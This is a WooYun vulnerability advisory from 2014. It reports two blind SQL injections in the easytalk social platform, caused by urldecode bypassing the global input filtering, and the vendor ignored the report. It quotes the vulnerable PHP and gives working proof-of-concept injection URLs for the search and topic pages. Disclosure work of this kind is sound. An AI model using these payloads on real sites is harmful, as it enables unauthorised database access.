当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-078608

漏洞标题：easytalk两枚sql盲注

相关厂商：nextsns.com

漏洞作者： zcy

提交时间：2014-10-11 17:45

修复时间：2014-10-16 17:46

公开时间：2014-10-16 17:46

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-10-11： 细节已通知厂商并且等待厂商处理中
2014-10-16： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

easytalk两枚sql盲注

详细说明：

1.Home\Lib\Action\SearchAction.class.php第22行代码中
$keyword=urldecode(trim(htmlspecialchars($_REQUEST['keyword'])));
keyword参数进行了urldecode操作。绕过全局gpc的过滤，导致注入。由于字符限制导致注入较为鸡肋
http://127.0.0.1/easytalk/?m=search&type=user&keyword=%2527and%20mid%28VERSION%28%29,1,1%29=5%23
可输出数据

QQ截图20141008120750.jpg


http://127.0.0.1/easytalk/?m=search&type=user&keyword=%2527and%20mid%28VERSION%28%29,1,1%29=4%23

QQ截图20141008120808.jpg


无数据返回
2，http://127.0.0.1/easytalk/?m=topic&a=topic&keyword=%2527and%20mid%28VERSION%28%29,1,1%29=5%23
原理同上。urldecode导致绕过全局gpc

public function topic() {
		$keyword=$this->_get('keyword','urldecode');
		if ($keyword) {
			$topic = D('Topic')->where("topicname='$keyword'")->find();
            if ($topic) {
                $isfollow=D('Mytopic')->isfollow($topic['id'],$this->my['user_id']);
                $topicusers=D('MytopicView')->where("topicid='$topic[id]'")->order('id desc')->limit(9)->select();
				//getwidget
				$widget=M('Topicwidget')->where("topicid='$topic[id]'")->order('`order` ASC')->select();
				if ($widget) {
					foreach ($widget as $val) {
						$topicwidget[$val['widgettype']][]=$val;
					}
				}
				$this->assign('topicwidget',$topicwidget);
            } else {
                $count=$isfollow=0;
            }
			
			$this->assign('comefrom','topic');
			$this->assign('keyword',$keyword);
			$this->assign('topic',$topic);
			$this->assign('topicusers',$topicusers);
			$this->assign('isfollow',$isfollow);
			$this->assign('subname','#'.$keyword.'#');
			$this->display();
		} else {
			header("location:".SITE_URL.'/?m=topic&a=index');
		}
	}


http://127.0.0.1/easytalk/?m=topic&a=topic&keyword=%2527and%20mid%28VERSION%28%29,1,1%29=5%23

QQ截图20141008121147.jpg


http://127.0.0.1/easytalk/?m=topic&a=topic&keyword=%2527and%20mid%28VERSION%28%29,1,1%29=4%23

QQ截图20141008121203.jpg


漏洞证明：

1.Home\Lib\Action\SearchAction.class.php第22行代码中
$keyword=urldecode(trim(htmlspecialchars($_REQUEST['keyword'])));
keyword参数进行了urldecode操作。绕过全局gpc的过滤，导致注入。由于字符限制导致注入较为鸡肋
http://127.0.0.1/easytalk/?m=search&type=user&keyword=%2527and%20mid%28VERSION%28%29,1,1%29=5%23
可输出数据

QQ截图20141008120750.jpg


http://127.0.0.1/easytalk/?m=search&type=user&keyword=%2527and%20mid%28VERSION%28%29,1,1%29=4%23

QQ截图20141008120808.jpg


无数据返回
2，http://127.0.0.1/easytalk/?m=topic&a=topic&keyword=%2527and%20mid%28VERSION%28%29,1,1%29=5%23
原理同上。urldecode导致绕过全局gpc

public function topic() {
		$keyword=$this->_get('keyword','urldecode');
		if ($keyword) {
			$topic = D('Topic')->where("topicname='$keyword'")->find();
            if ($topic) {
                $isfollow=D('Mytopic')->isfollow($topic['id'],$this->my['user_id']);
                $topicusers=D('MytopicView')->where("topicid='$topic[id]'")->order('id desc')->limit(9)->select();
				//getwidget
				$widget=M('Topicwidget')->where("topicid='$topic[id]'")->order('`order` ASC')->select();
				if ($widget) {
					foreach ($widget as $val) {
						$topicwidget[$val['widgettype']][]=$val;
					}
				}
				$this->assign('topicwidget',$topicwidget);
            } else {
                $count=$isfollow=0;
            }
			
			$this->assign('comefrom','topic');
			$this->assign('keyword',$keyword);
			$this->assign('topic',$topic);
			$this->assign('topicusers',$topicusers);
			$this->assign('isfollow',$isfollow);
			$this->assign('subname','#'.$keyword.'#');
			$this->display();
		} else {
			header("location:".SITE_URL.'/?m=topic&a=index');
		}
	}


http://127.0.0.1/easytalk/?m=topic&a=topic&keyword=%2527and%20mid%28VERSION%28%29,1,1%29=5%23

QQ截图20141008121147.jpg


http://127.0.0.1/easytalk/?m=topic&a=topic&keyword=%2527and%20mid%28VERSION%28%29,1,1%29=4%23

QQ截图20141008121203.jpg


修复方案：

版权声明：转载请注明来源 zcy@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2014-10-16 17:46

厂商回复：

最新状态：

暂无